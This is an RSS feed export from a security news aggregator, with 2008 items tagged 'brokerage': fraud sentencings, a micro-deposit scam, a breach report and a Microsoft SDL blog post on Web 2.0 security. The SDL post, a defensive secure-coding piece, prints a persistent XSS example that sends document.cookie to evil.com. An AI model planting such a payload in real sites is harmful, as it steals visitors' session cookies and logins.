<?xml version="1.0" encoding="utf-8"?>
<rss xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title><![CDATA[[SecurityRatty] tag: brokerage]]></title>
    <link>http://securityratty.com/tag/brokerage</link>
    <description></description>
    <pubDate>Thu, 28 Feb 2008 19:26:00 +0000</pubDate>
    <generator>iRatty Engine</generator>
    <docs>http://blogs.law.harvard.edu/tech/rss</docs>
    <item>
      <title><![CDATA[Malaysia resident sentenced in brokerage hacking scheme]]></title>
      <link>http://securityratty.com/article/82e6e25372c3d3e54d13facae1f5c15f</link>
      <guid>http://securityratty.com/article/82e6e25372c3d3e54d13facae1f5c15f</guid>
      <description><![CDATA[A resident of Malaysia was sentenced Tuesday to two years in prison on a conspiracy charge related to an international fraud scheme that hacked into online brokerage accounts in the U.S. in an attempt...]]></description>
      <content:encoded><![CDATA[A resident of Malaysia was sentenced Tuesday to two years in prison on a conspiracy charge related to an international fraud scheme that hacked into online brokerage accounts in the U.S. in an attempt to manipulate stock prices, the U.S. Department of Justice said.]]></content:encoded>
      <pubDate>Mon, 08 Sep 2008 20:00:00 +0000</pubDate>
      <category domain="http://securityratty.com/tag/online brokerage accounts">online brokerage accounts</category>
      <category domain="http://securityratty.com/tag/international fraud scheme">international fraud scheme</category>
      <category domain="http://securityratty.com/tag/malaysia">malaysia</category>
      <category domain="http://securityratty.com/tag/stock prices">stock prices</category>
      <category domain="http://securityratty.com/tag/conspiracy charge">conspiracy charge</category>
      <category domain="http://securityratty.com/tag/resident">resident</category>
      <category domain="http://securityratty.com/tag/department">department</category>
      <category domain="http://securityratty.com/tag/prison">prison</category>
      <category domain="http://securityratty.com/tag/tuesday">tuesday</category>
      <source url="http://www.networkworld.com/news/2008/090908-malaysia-resident-sentenced-in-brokerage.html?fsrc=rss-security">Malaysia resident sentenced in brokerage hacking scheme</source>
    </item>
    <item>
      <title><![CDATA[Data Mining to Detect Pump-and-Dump Scams]]></title>
      <link>http://securityratty.com/article/a5878a5dbedbdb06b13ea9db23d0e411</link>
      <guid>http://securityratty.com/article/a5878a5dbedbdb06b13ea9db23d0e411</guid>
      <description><![CDATA[I don't know any of the details, but this seems like a good use of data mining: Mr Tancredi said Verisign's fraud detection kit would help &quot;decrease the time between the attack being launched and the...]]></description>
      <content:encoded><![CDATA[<p>I don't know any of the details, but <a href="http://news.bbc.co.uk/1/hi/technology/7552009.stm">this</a> seems like a good use of data mining:</p>

<blockquote>Mr Tancredi said Verisign's fraud detection kit would help "decrease the time between the attack being launched and the brokerage being able to respond".

<p>Before now, he said, brokerages relied on counter measures such as restrictive stock trading or analysis packages that only spotted a problem when money had gone.</p>

<p>Verisign's software is a module that brokers can add to their in-house trading system that alerts anti-fraud teams to look more closely at trades that exhibit certain behaviour patterns.</p>

<p>"What this self-learning behavioural engine does is look at the different attributes of the event, not necessarily about the computer or where you are logging on from but about the actual transaction, the trade, the amount of the trade," said Mr Tancredi.</p>

<p>"For example have you liquidated all of your assets in stock that you own in order to buy one penny stock?" he said. "Another example is when a customer who normally trades tech stock on Nasdaq all of a sudden trades a penny stock that has to do with health care and is placing a trade four times more than normal."</blockquote></p>

<p>This is a good use of data mining because, as I <a href="http://www.schneier.com/blog/archives/2006/03/data_mining_for.html">said</a> previously:</p>

<blockquote>Data mining works best when there's a well-defined profile you're searching for, a reasonable number of attacks per year, and a low cost of false alarms.</blockquote>

<p>Another news article <a href="http://news.yahoo.com/s/zd/20080811/tc_zd/230711">here</a>.</p><div class="feedflare">
<a href="http://feeds.feedburner.com/~f/schneier/fulltext?a=MmnOWK"><img src="http://feeds.feedburner.com/~f/schneier/fulltext?i=MmnOWK" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/schneier/fulltext?a=pZdBMK"><img src="http://feeds.feedburner.com/~f/schneier/fulltext?i=pZdBMK" border="0"></img></a>
</div>]]></content:encoded>
      <pubDate>Thu, 14 Aug 2008 02:10:34 +0000</pubDate>
      <category domain="http://securityratty.com/tag/stock">stock</category>
      <category domain="http://securityratty.com/tag/penny stock">penny stock</category>
      <category domain="http://securityratty.com/tag/restrictive stock">restrictive stock</category>
      <category domain="http://securityratty.com/tag/data">data</category>
      <category domain="http://securityratty.com/tag/trades tech stock">trades tech stock</category>
      <category domain="http://securityratty.com/tag/trades">trades</category>
      <category domain="http://securityratty.com/tag/fraud detection kit">fraud detection kit</category>
      <category domain="http://securityratty.com/tag/alerts anti-fraud teams">alerts anti-fraud teams</category>
      <category domain="http://securityratty.com/tag/trade">trade</category>
      <source url="http://www.schneier.com/blog/archives/2008/08/data_mining_to.html">Data Mining to Detect Pump-and-Dump Scams</source>
    </item>
    <item>
      <title><![CDATA[Coreflood, more Microsoft-Yahoo, iPhone plans]]></title>
      <link>http://securityratty.com/article/2facb816dd1e0eee0e3cf51555779434</link>
      <guid>http://securityratty.com/article/2facb816dd1e0eee0e3cf51555779434</guid>
      <description><![CDATA[A Trojan horse program that has been around for about six years is now being used to steal system-administrator passwords, including those at banking and brokerage houses, according to security...]]></description>
      <content:encoded><![CDATA[A Trojan horse program that has been around for about six years is now being used to steal system-administrator passwords, including those at banking and brokerage houses, according to security researchers. And it could be that six years from now we'll still be talking about Microsoft's aim to buy Yahoo's search business, which could involve obtaining the entire company and breaking it apart. Meanwhile, early adopters will undoubtedly be out in force on July 11 to be among the first to buy the new iPhone 3G.]]></content:encoded>
      <pubDate>Wed, 02 Jul 2008 20:00:00 +0000</pubDate>
      <category domain="http://securityratty.com/tag/trojan horse program">trojan horse program</category>
      <category domain="http://securityratty.com/tag/iphone">iphone</category>
      <category domain="http://securityratty.com/tag/microsoft">microsoft</category>
      <category domain="http://securityratty.com/tag/entire company">entire company</category>
      <category domain="http://securityratty.com/tag/brokerage houses">brokerage houses</category>
      <category domain="http://securityratty.com/tag/security researchers">security researchers</category>
      <category domain="http://securityratty.com/tag/yahoo">yahoo</category>
      <category domain="http://securityratty.com/tag/passwords">passwords</category>
      <category domain="http://securityratty.com/tag/involve">involve</category>
      <source url="http://www.networkworld.com/news/2008/070308-coreflood-more-microsoft-yahoo-iphone.html?fsrc=rss-security">Coreflood, more Microsoft-Yahoo, iPhone plans</source>
    </item>
    <item>
      <title><![CDATA[Clever Micro-Deposit Scam]]></title>
      <link>http://securityratty.com/article/c3b78e84d4da791a8a3e7186bc4350f3</link>
      <guid>http://securityratty.com/article/c3b78e84d4da791a8a3e7186bc4350f3</guid>
      <description><![CDATA[This is clever: Michael Largent, 22, of Plumas Lake, California, allegedly exploited a loophole in a common procedure both companies follow when a customer links his brokerage account to a bank...]]></description>
      <content:encoded><![CDATA[<p><a href="http://blog.wired.com/27bstroke6/2008/05/man-allegedly-b.html">This</a> is clever:</p>

<blockquote>Michael Largent, 22, of Plumas Lake, California, allegedly exploited a loophole in a common procedure both companies follow when a customer links his brokerage account to a bank account for the first time. To verify that the account number and routing information is correct, the brokerages automatically send small "micro-deposits" of between two cents to one dollar to the account, and ask the customer to verify that they've received it.

<p>Largent allegedly used an automated script to open 58,000 online brokerage accounts, linking each of them to a handful of online bank accounts, and accumulating thousands of dollars in micro-deposits.</blockquote></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~f/schneier/fulltext?a=FDJMeI"><img src="http://feeds.feedburner.com/~f/schneier/fulltext?i=FDJMeI" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/schneier/fulltext?a=92LSWI"><img src="http://feeds.feedburner.com/~f/schneier/fulltext?i=92LSWI" border="0"></img></a>
</div>]]></content:encoded>
      <pubDate>Thu, 05 Jun 2008 09:25:45 +0000</pubDate>
      <category domain="http://securityratty.com/tag/account">account</category>
      <category domain="http://securityratty.com/tag/bank account">bank account</category>
      <category domain="http://securityratty.com/tag/brokerage account">brokerage account</category>
      <category domain="http://securityratty.com/tag/online brokerage accounts">online brokerage accounts</category>
      <category domain="http://securityratty.com/tag/online bank accounts">online bank accounts</category>
      <category domain="http://securityratty.com/tag/largent allegedly">largent allegedly</category>
      <category domain="http://securityratty.com/tag/allegedly">allegedly</category>
      <category domain="http://securityratty.com/tag/customer links">customer links</category>
      <category domain="http://securityratty.com/tag/customer">customer</category>
      <source url="http://www.schneier.com/blog/archives/2008/06/clever_microdep.html">Clever Micro-Deposit Scam</source>
    </item>
    <item>
      <title><![CDATA[E-Mail After the Rapture]]></title>
      <link>http://securityratty.com/article/9d10316e7dbd54e5a64f4162a6fdb14b</link>
      <guid>http://securityratty.com/article/9d10316e7dbd54e5a64f4162a6fdb14b</guid>
      <description><![CDATA[It's easy to laugh at the You've Been Left Behind site, which purports to send automatic e-mails to your friends after the Rapture: The unsaved will be 'left behind' on earth to go through the...]]></description>
      <content:encoded><![CDATA[<p>It's easy to laugh at the <a href="http://www.youvebeenleftbehind.com/index-3.html">You've Been Left Behind</a> site, which purports to send automatic e-mails to your friends after the Rapture:</p>

<blockquote>The unsaved will be 'left behind' on earth to go through the "tribulation period" after the "Rapture".... We have made it possible for you to send them a letter of love and a plea to receive Christ one last time. You will also be able to give them some help in living out their remaining time. In the encrypted portion of your account you can give them access to your banking, brokerage, hidden valuables, and powers of attorneys' (you won't be needing them any more, and the gift will drive home the message of love). There won't be any bodies, so probate court will take 7 years to clear your assets to your next of Kin. 7 years of course is all the time that will be left. So, basically the Government of the AntiChrist gets your stuff, unless you make it available in another way.</blockquote>

<p>But what if the creator of this site isn't as scrupulous as he implies he is?  What if he uses all of that account information, passwords, safe combinations, and whatever <i>before</i> any rapture?  And even if he is an honest true believer, this seems like a mighty juicy target for any would-be identity thief.</p>

<p>And -- if you're curious -- this is how the triggering mechanism <a href="http://www.youvebeenleftbehind.com/index-2.html">works</a>:</p>

<blockquote>We have set up a system to send documents by the email, to the addresses you provide, 6 days after the "Rapture" of the Church. This occurs when 3 of our 5 team members scattered around the U.S fail to log in over a 3 day period. Another 3 days are given to fail safe any false triggering of the system.</blockquote>

<p>The site claims that the data can be encrypted, but it looks like the encryption key is stored on the server with the data.</p><div class="feedflare">
<a href="http://feeds.feedburner.com/~f/schneier/fulltext?a=Vn3BeI"><img src="http://feeds.feedburner.com/~f/schneier/fulltext?i=Vn3BeI" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/schneier/fulltext?a=eLGkSI"><img src="http://feeds.feedburner.com/~f/schneier/fulltext?i=eLGkSI" border="0"></img></a>
</div>]]></content:encoded>
      <pubDate>Mon, 02 Jun 2008 09:09:47 +0000</pubDate>
      <category domain="http://securityratty.com/tag/rapture">rapture</category>
      <category domain="http://securityratty.com/tag/site claims">site claims</category>
      <category domain="http://securityratty.com/tag/site">site</category>
      <category domain="http://securityratty.com/tag/fail safe">fail safe</category>
      <category domain="http://securityratty.com/tag/fail">fail</category>
      <category domain="http://securityratty.com/tag/time">time</category>
      <category domain="http://securityratty.com/tag/account information">account information</category>
      <category domain="http://securityratty.com/tag/account">account</category>
      <category domain="http://securityratty.com/tag/mighty juicy target">mighty juicy target</category>
      <source url="http://www.schneier.com/blog/archives/2008/06/email_after_the.html">E-Mail After the Rapture</source>
    </item>
    <item>
      <title><![CDATA[Man Allegedly Bilks E-Trade, Schwab of $50K by Collecting Lots of Free 'Micro-Deposits']]></title>
      <link>http://securityratty.com/article/4ba69dde15db66cc7c1492d882222d32</link>
      <guid>http://securityratty.com/article/4ba69dde15db66cc7c1492d882222d32</guid>
      <description><![CDATA[In a penny-wise computer caper, a California man allegedly wrote a computer program that opened 58,000 online brokerage accounts and linked them to his bank accounts. The brokerage companies...]]></description>
      <content:encoded><![CDATA[In a penny-wise computer caper, a California man allegedly wrote a computer program that opened 58,000 online brokerage accounts and linked them to his bank accounts. The brokerage companies automatically send small deposits to newly-linked accounts to verify they're working, and it all adds up.<br style="clear: both;"/>
  <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=a5de7e70306beb340ad4756a820a4cee" height="1" width="1"/>
<img src="http://www.pheedo.com/feeds/tracker.php?i=a5de7e70306beb340ad4756a820a4cee" style="display: none;" border="0" height="1" width="1" alt=""/><div class="feedflare">
<a href="http://feeds.feedburner.com/~f/wired/politics/privacy?a=eEJ3dH"><img src="http://feeds.feedburner.com/~f/wired/politics/privacy?i=eEJ3dH" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/wired/politics/privacy?a=h5atjh"><img src="http://feeds.feedburner.com/~f/wired/politics/privacy?i=h5atjh" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/wired/politics/privacy?a=FLjr9h"><img src="http://feeds.feedburner.com/~f/wired/politics/privacy?i=FLjr9h" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/wired/politics/privacy?a=95ROuH"><img src="http://feeds.feedburner.com/~f/wired/politics/privacy?i=95ROuH" border="0"></img></a>
 <a href="http://feeds.wired.com/~f/wired/politics/security?a=EJg9FH"><img src="http://feeds.wired.com/~f/wired/politics/security?i=EJg9FH" border="0"></img></a> <a href="http://feeds.wired.com/~f/wired/politics/security?a=YrAyrh"><img src="http://feeds.wired.com/~f/wired/politics/security?i=YrAyrh" border="0"></img></a> <a href="http://feeds.wired.com/~f/wired/politics/security?a=beiE3h"><img src="http://feeds.wired.com/~f/wired/politics/security?i=beiE3h" border="0"></img></a> <a href="http://feeds.wired.com/~f/wired/politics/security?a=Po1g4H"><img src="http://feeds.wired.com/~f/wired/politics/security?i=Po1g4H" border="0"></img></a> </div><img src="http://feeds.feedburner.com/~r/wired/politics/privacy/~4/299399153" height="1" width="1"/><img src="http://feeds.wired.com/~r/wired/politics/security/~4/299399154" height="1" width="1"/>]]></content:encoded>
      <pubDate>Tue, 27 May 2008 18:20:00 +0000</pubDate>
      <category domain="http://securityratty.com/tag/bank accounts">bank accounts</category>
      <category domain="http://securityratty.com/tag/accounts">accounts</category>
      <category domain="http://securityratty.com/tag/online brokerage accounts">online brokerage accounts</category>
      <category domain="http://securityratty.com/tag/penny-wise computer caper">penny-wise computer caper</category>
      <category domain="http://securityratty.com/tag/brokerage companies">brokerage companies</category>
      <category domain="http://securityratty.com/tag/computer program">computer program</category>
      <category domain="http://securityratty.com/tag/deposits">deposits</category>
      <category domain="http://securityratty.com/tag/allegedly">allegedly</category>
      <category domain="http://securityratty.com/tag/california">california</category>
      <source url="http://feeds.wired.com/~r/wired/politics/security/~3/299399154/man-allegedly-b.html">Man Allegedly Bilks E-Trade, Schwab of $50K by Collecting Lots of Free 'Micro-Deposits'</source>
    </item>
    <item>
      <title><![CDATA[Genworth Financial customer data on stolen computer]]></title>
      <link>http://securityratty.com/article/73bd830dd357aed18f1562a6e9b91a02</link>
      <guid>http://securityratty.com/article/73bd830dd357aed18f1562a6e9b91a02</guid>
      <description><![CDATA[Technorati Tag: Security Breach

Date Reported
3/21/08

Organization
Genworth Financial

Contractor/Consultant/Branch
Genworth Life and Annuity Insurance Company
International Brokerage Dallas (&quot;IBD
...]]></description>
      <content:encoded><![CDATA[Technorati Tag: <a href="http://technorati.com/tag/security+breach" rel="tag">Security Breach</a><br><br>
<img src="http://breachblog.com/images/95781-88451/genworth.jpg" align="right" height="100" width="161"><font size="2"><span style="font-weight: bold;">Date Reported: </span><br>3/21/08<br><br><span style="font-weight: bold;">Organization: </span><br><a href="http://www.genworth.com/content/genworth/www_genworth_com/web/global/en/home.html">Genworth Financial</a> <br><br><span style="font-weight: bold;">Contractor/Consultant/Branch:</span><br>Genworth Life and Annuity Insurance Company<br>International Brokerage Dallas ("IBD")<br><br><span style="font-weight: bold;">Victims:</span><br>Customers<br><br><span style="font-weight: bold;">Number Affected:</span><br>Unknown<br><br><span style="font-weight: bold;">Types of Data:</span><br>Name, address, date of birth and Social Security Number<br><br><span style="font-weight: bold;">Breach Description:</span><br>"When you applied for insurance coverage with us, your application was submitted through an independent insurance agency authorized to sell our insurance products. Recently, we learned that this independent insurance agency was burglarized on February 16, 2008. and that the burglars stole computer equipment. This equipment contained information needed to process your insurance application, including, among other data, your name, address and Social Security Number."<br><br><span style="font-weight: bold;">Reference URL:</span><br><a href="http://doj.nh.gov/consumer/pdf/genworth.pdf">New Hampshire State Attorney General breach notification</a> <br><br><span style="font-weight: bold;">Report Credit:</span><br>The New Hampshire State Attorney General<br><br><span style="font-weight: bold;">Response:</span><br>From the online source cited above:<br><br>Pursuant to RSA 359-C:20 I(b), Genworth Life and Annuity Insurance Company ("GLAIC") and Genworth Life Insurance Company ("GLIC") are writing you to provide notice of a breach of security involving New Hampshire Residents.<br><span style="font-style: italic;">[Evan] This breach affected persons residing in other states too.&nbsp; This is the New Hampshire breach notification.</span><br style="font-style: italic;"><br>GLAIC and GLIC received notice of this breach on February 20, 2008.<br><br>the security breach involved the theft of computer equipment that occurred during a burglary of the offices of International Brokerage Dallas ("IBD"), a Texas-based independent insurance agency.<br><br>IBD is an independent insurance agency that has contracted to sell GLAIC's and GLIC's insurance products.<br><span style="font-style: italic;">[Evan] Whose responsibility is it to secure this information?&nbsp; GLAIC, GLIC, IBD, or all of the above?&nbsp; My answer is all of the above.&nbsp; This information was not adequately secured.</span><br style="font-style: italic;"><br>the burglars stole some computer equipment containing information necessary for customers' insurance applications.<br><br>We are advised that the only information on the computer, which was password protected, was name, address, date of birth, and Social Security Number.<br><span style="font-style: italic;">[Evan] Oh, that's it?&nbsp; Sheesh, I thought there might be some personal information. (sarcasm)&nbsp; No need to even mention password protection because it is hardly adequate protection.</span><br style="font-style: italic;"><br>Because there can be no assurance that efforts to access the data on the computer will not be made, GLAIC will be notifying these individuals of the breach.<br><br>The authorities have advised us that the nature of the burglary and the items taken suggest that the break-in was intended to obtain electronic office equipment rather than data itself.<br><span style="font-style: italic;">[Evan] Minimize.</span><br><br>We are providing you a free one-year subscription to a credit-monitoring product<br><span style="font-style: italic;">[Evan] Monitoring is after the fact.&nbsp; By the time a victim is notified, he/she is already a victim.</span><br><br>We sincerely apologize for the concerns this burglary has caused.<br><span style="font-style: italic;">[Evan] Is the burglary the cause of concern or is it the poor information security practices?</span><br><br>If you have any questions of if there is anything that we can do to assist you, please call us at 888-325-7473.<br><br><span style="font-weight: bold;">Commentary:</span><br>Breaches such as this demonstrate the importance of convergence between technical and physical security.&nbsp; We don't know the details of any physical controls in place to prevent this breach, but we can infer some issues around technical security.<br><br>What is the company policy around the required protection of confidential information at rest?&nbsp; Does Genworth enforce information security policy and procedures with their independent agents?&nbsp; Does Genworth of IBD plan to improve anything to reduce the risk of the same thing happening in the future?&nbsp; So many questions...<br><br><span style="font-weight: bold;">Past Breaches:</span><br>Unknown</font><br>]]></content:encoded>
      <pubDate>Sun, 06 Apr 2008 16:35:27 +0000</pubDate>
      <category domain="http://securityratty.com/tag/breach">breach</category>
      <category domain="http://securityratty.com/tag/hampshire breach notification">hampshire breach notification</category>
      <category domain="http://securityratty.com/tag/breach description">breach description</category>
      <category domain="http://securityratty.com/tag/security breach">security breach</category>
      <category domain="http://securityratty.com/tag/security">security</category>
      <category domain="http://securityratty.com/tag/computer">computer</category>
      <category domain="http://securityratty.com/tag/genworth">genworth</category>
      <category domain="http://securityratty.com/tag/independent insurance agency">independent insurance agency</category>
      <category domain="http://securityratty.com/tag/technical security">technical security</category>
      <source url="http://breachblog.com/2008/04/06/genworth.aspx">Genworth Financial customer data on stolen computer</source>
    </item>
    <item>
      <title><![CDATA[SDL and Web 2.0]]></title>
      <link>http://securityratty.com/article/51d7b41dd699616b271e22ad2dc04c10</link>
      <guid>http://securityratty.com/article/51d7b41dd699616b271e22ad2dc04c10</guid>
      <description><![CDATA[Hi everyone, Bryan Sullivan here
Unless youve been living in an ice cave on the polar cap for the last month, youve heard about Microsofts proposed acquisition of Yahoo. George Hulme of...]]></description>
      <content:encoded><![CDATA[<P class=MsoNormal style="MARGIN: 0in 0in 10pt"><FONT face=Calibri size=3></FONT>&nbsp;</P>
<P class=MsoNormal style="MARGIN: 0in 0in 10pt"><FONT face=Calibri size=3>Hi everyone, Bryan Sullivan here.&nbsp;</FONT></P>
<P class=MsoNormal style="MARGIN: 0in 0in 10pt"><FONT face=Calibri size=3>Unless you’ve been living in an ice cave on the polar cap for the last month, you’ve heard about Microsoft’s proposed acquisition of Yahoo. George Hulme of InformationWeek wrote a very insightful </FONT><A href="http://www.informationweek.com/blog/main/archives/2008/02/web_20_security.html" mce_href="http://www.informationweek.com/blog/main/archives/2008/02/web_20_security.html"><FONT face=Calibri color=#0000ff size=3>column</FONT></A><FONT face=Calibri size=3> about the </FONT><A style="mso-comment-reference: BJS_1; mso-comment-date: 20080218T1703"><FONT face=Calibri size=3>proposed</FONT></A><FONT face=Calibri size=3> acquisition and what it would mean for Yahoo’s Web 2.0 properties. My favorite quote from this column (probably my favorite quote from anyone’s column so far this year): “…there’s still much to do in the [software] industry to reach a level of truly sustainable computing. This is perhaps especially true in the nascent area of Web 2.0 development. <B style="mso-bidi-font-weight: normal">Let’s hope Microsoft brings its Trustworthy Computing Initiative, or more precisely its Security Development Lifecycle to Yahoo</B>, should the $45 billion deal come through.” That’s pretty high praise for the SDL, but what exactly does the SDL have to say about Web 2.0 development? To answer this question, let’s take a look at a couple of security issues that affect Web 2.0 applications and then dive into the corresponding SDL requirements.</FONT></P>
<P class=MsoNormal style="MARGIN: 0in 0in 10pt"><FONT face=Calibri size=3>Many Web 2.0 applications allow their end users to build and contribute to the application. </FONT><FONT face=Calibri size=3>Think about social networking sites like </FONT><A href="http://www.facebook.com/" mce_href="http://www.facebook.com/"><FONT face=Calibri color=#0000ff size=3>Facebook</FONT></A><FONT face=Calibri size=3>, or wikis like </FONT><A href="http://en.wikipedia.org/" mce_href="http://en.wikipedia.org/"><FONT face=Calibri color=#0000ff size=3>Wikipedia</FONT></A><FONT face=Calibri size=3>. The content on sites like these comes directly from the users themselves. (Remember that you were Time Magazine’s Person of the Year in </FONT><A href="http://www.time.com/time/magazine/article/0,9171,1569514,00.html" mce_href="http://www.time.com/time/magazine/article/0,9171,1569514,00.html"><FONT face=Calibri color=#0000ff size=3>2006</FONT></A><FONT face=Calibri size=3> for this very reason!) While this is very empowering for users, it does beg the question: If users can add their own content to a web site, what’s to prevent them from adding malicious content? Consider what would happen if Evil Eve adds the following HTML to a wiki entry:</FONT></P>
<P class=MsoNormal style="MARGIN: 0in 0in 10pt"><FONT size=3><FONT face=Calibri><SPAN lang=DE style="mso-ansi-language: DE">&lt;img src=“http://www.evil.com/eve?“ </SPAN>+ document.cookie/&gt;</FONT></FONT></P>
<P class=MsoNormal style="MARGIN: 0in 0in 10pt"><FONT face=Calibri size=3>If the wiki accepts this content from Eve, then anyone who looks at the wiki entry will have their browser cookie “stolen” and sent to Eve at evil.com. The cookie could potentially contain login credentials or other sensitive information, allowing Eve to impersonate her victim and essentially commit a form of identity theft.</FONT></P>
<P class=MsoNormal style="MARGIN: 0in 0in 10pt"><FONT face=Calibri size=3>The attack I’ve shown here is known as a persistent Cross-Site Scripting (XSS) attack, and is the most dangerous form of XSS since it doesn’t require any social engineering like reflective and </FONT><A style="mso-comment-reference: BJS_3; mso-comment-date: 20080218T1706"></A><A href="http://en.wikipedia.org/wiki/Cross-site_scripting#DOM-based" mce_href="http://en.wikipedia.org/wiki/Cross-site_scripting#DOM-based"><SPAN style="mso-comment-continuation: 3"><FONT face=Calibri color=#0000ff size=3>DOM-based</FONT></SPAN></A><SPAN class=MsoCommentReference><SPAN style="FONT-SIZE: 8pt; LINE-HEIGHT: 115%"><SPAN style="mso-special-character: comment"><FONT face=Calibri>&nbsp;</FONT></SPAN></SPAN></SPAN><FONT face=Calibri size=3>XSS attacks do. The victim doesn’t have to do anything unusual – he just has to browse to an infected page, maybe even one he’s been to hundreds of times in the past. And in all likelihood, he’ll never even know he was a victim. The </FONT><A href="http://en.wikipedia.org/wiki/Samy_%28XSS%29" mce_href="http://en.wikipedia.org/wiki/Samy_%28XSS%29"><FONT face=Calibri color=#0000ff size=3>Samy worm</FONT></A><FONT face=Calibri size=3> which infected </FONT><A href="http://www.myspace.com/" mce_href="http://www.myspace.com/"><FONT face=Calibri color=#0000ff size=3>MySpace</FONT></A><FONT face=Calibri size=3> in late 2005 exploited a persistent XSS vulnerability to silently spread through its victims’ profile pages. Within less than a day after its release, Samy had spread to over one million MySpace users, forcing MySpace to completely shut down its site while they diagnosed and fixed the vulnerability.</FONT></P>
<P class=MsoNormal style="MARGIN: 0in 0in 10pt"><SPAN style="mso-spacerun: yes"><FONT face=Calibri size=3>&nbsp;</FONT></SPAN><A style="mso-comment-reference: BJS_4; mso-comment-date: 20080218T1701"><FONT face=Calibri size=3>(As a side note, I’d like to point out that if the developers of the hypothetical wiki in the earlier example had used the </FONT></A><A href="http://msdn2.microsoft.com/en-us/library/ms533046.aspx" mce_href="http://msdn2.microsoft.com/en-us/library/ms533046.aspx"><SPAN style="mso-comment-continuation: 4"><FONT face=Calibri color=#0000ff size=3>HttpOnly</FONT></SPAN></A><FONT face=Calibri><SPAN style="mso-comment-continuation: 4"><FONT size=3> attribute for their site cookies, Evil Eve would not have been able to steal those cookies. However, HttpOnly is just a defense-in-depth measure and not a complete solution for the inherent problem of end users being able to write malicious code into the web site.)</FONT></SPAN></FONT></P>
<P class=MsoNormal style="MARGIN: 0in 0in 10pt"><FONT face=Calibri size=3>Web mashups are another popular component of Web 2.0. JavaScript’s </FONT><A href="http://en.wikipedia.org/wiki/Same_origin_policy" mce_href="http://en.wikipedia.org/wiki/Same_origin_policy"><FONT face=Calibri color=#0000ff size=3>Same Origin Policy</FONT></A><FONT face=Calibri size=3> prevents web developers from writing client-based mashups (that is, mashups that don’t use a server proxy to request data from the individual sites being “mashed” together) in straight DHTML. Some Rich Internet Application (RIA) frameworks, notably Adobe’s </FONT><A href="http://www.adobe.com/products/flash/" mce_href="http://www.adobe.com/products/flash/"><FONT face=Calibri color=#0000ff size=3>Flash</FONT></A><FONT face=Calibri size=3> and Microsoft’s </FONT><A href="http://www.silverlight.net/" mce_href="http://www.silverlight.net/"><FONT face=Calibri color=#0000ff size=3>Silverlight</FONT></A><FONT face=Calibri size=3>, offer mechanisms to bypass the Same Origin Policy. For Flash, this mechanism is an XML file (crossdomain.xml) hosted on the domain root that lists all the external domains that should be granted access to the Flash movie. For example, if you host a Flash movie at www.mysite.com, and want to allow access from www.friendlysite.com, you would create a file www.mysite.com/crossdomain.xml with content as follows:</FONT></P>
<P class=MsoNoSpacing style="MARGIN: 0in 0in 0pt"><FONT face=Calibri size=3>&lt;cross-domain-policy&gt;</FONT></P>
<P class=MsoNoSpacing style="MARGIN: 0in 0in 0pt"><FONT size=3><FONT face=Calibri><SPAN style="mso-spacerun: yes">&nbsp; </SPAN><SPAN style="mso-spacerun: yes">&nbsp;</SPAN>&lt;allow-access-from domain=”www.friendlysite.com”/&gt;</FONT></FONT></P>
<P class=MsoNoSpacing style="MARGIN: 0in 0in 0pt"><FONT face=Calibri size=3>&lt;/cross-domain-policy&gt;</FONT></P>
<P class=MsoNoSpacing style="MARGIN: 0in 0in 0pt"><?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" /><o:p><FONT face=Calibri size=3>&nbsp;</FONT></o:p></P>
<P class=MsoNormal style="MARGIN: 0in 0in 10pt"><FONT face=Calibri size=3>So far, so good. However, crossdomain.xml allows not just specific domain names in the allow-access-from element (ie “www.friendlysite.com”) but also wildcards (“*.friendlysite.com”). In fact, it will even allow wildcards that break the </FONT><A href="http://www.cookiecentral.com/faq/#3.3" mce_href="http://www.cookiecentral.com/faq/#3.3"><FONT face=Calibri color=#0000ff size=3>two-dots</FONT></A><FONT face=Calibri size=3> rule like “*.com” or even just “*”. By using </FONT><A style="mso-comment-reference: BJS_5; mso-comment-date: 20080218T1707"><FONT face=Calibri size=3>highly</FONT></A><FONT face=Calibri size=3> permissive access lists like this, a developer is essentially letting anyone on the internet manipulate his objects and data. In an attack very reminiscent of the Samy worm, Chris Shiflett </FONT><A href="http://shiflett.org/blog/2006/sep/the-dangers-of-cross-domain-ajax-with-flash" mce_href="http://shiflett.org/blog/2006/sep/the-dangers-of-cross-domain-ajax-with-flash"><FONT face=Calibri color=#0000ff size=3>exploited</FONT></A><FONT face=Calibri size=3> an allow-access-from-* entry in </FONT><A href="http://www.flickr.com/" mce_href="http://www.flickr.com/"><FONT face=Calibri color=#0000ff size=3>Flickr</FONT></A><FONT face=Calibri size=3>’s crossdomain.xml file that caused any visitor to Chris’s web site to automatically add Chris to their Flickr friends list. While this may not be the scariest attack you’ve ever heard of, imagine what might happen if a truly malicious user discovers the same vulnerability in the fund</FONT><A style="mso-comment-reference: BJS_6; mso-comment-date: 20080218T1710"><FONT face=Calibri size=3> transfer functionality of a bank’s web site, or the security trading functionality of a brokerage firm’s&nbsp;</FONT></A><FONT face=Calibri size=3>web site.</FONT></P>
<P class=MsoNormal style="MARGIN: 0in 0in 10pt"><FONT face=Calibri size=3>So, what does the SDL have to say about these issues? In terms of XSS prevention, the SDL offers a lot of guidance. The SDL requires the use of both input validation (making sure that user input conforms to a known good format – in the case of the wiki entry, to deny HTML and script content) and output encoding (making sure that any active content that gets past the input validation routines is rendered as harmless text and not executed). Internally, we also mandate the use of </FONT><A style="mso-comment-reference: BJS_7; mso-comment-date: 20080218T1716"></A><A href="http://blogs.msdn.com/ace_team/archive/2007/10/22/xssdetect-public-beta-now-available.aspx" mce_href="http://blogs.msdn.com/ace_team/archive/2007/10/22/xssdetect-public-beta-now-available.aspx"><SPAN style="mso-comment-continuation: 7"><FONT face=Calibri color=#0000ff size=3>code analysis tools</FONT></SPAN></A><SPAN class=MsoCommentReference><SPAN style="FONT-SIZE: 8pt; LINE-HEIGHT: 115%"><SPAN style="mso-special-character: comment"><FONT face=Calibri>&nbsp;</FONT></SPAN></SPAN></SPAN><FONT face=Calibri size=3>to find XSS vulnerabilities that might otherwise slip through the cracks. This is great advice for anyone developing web applications, 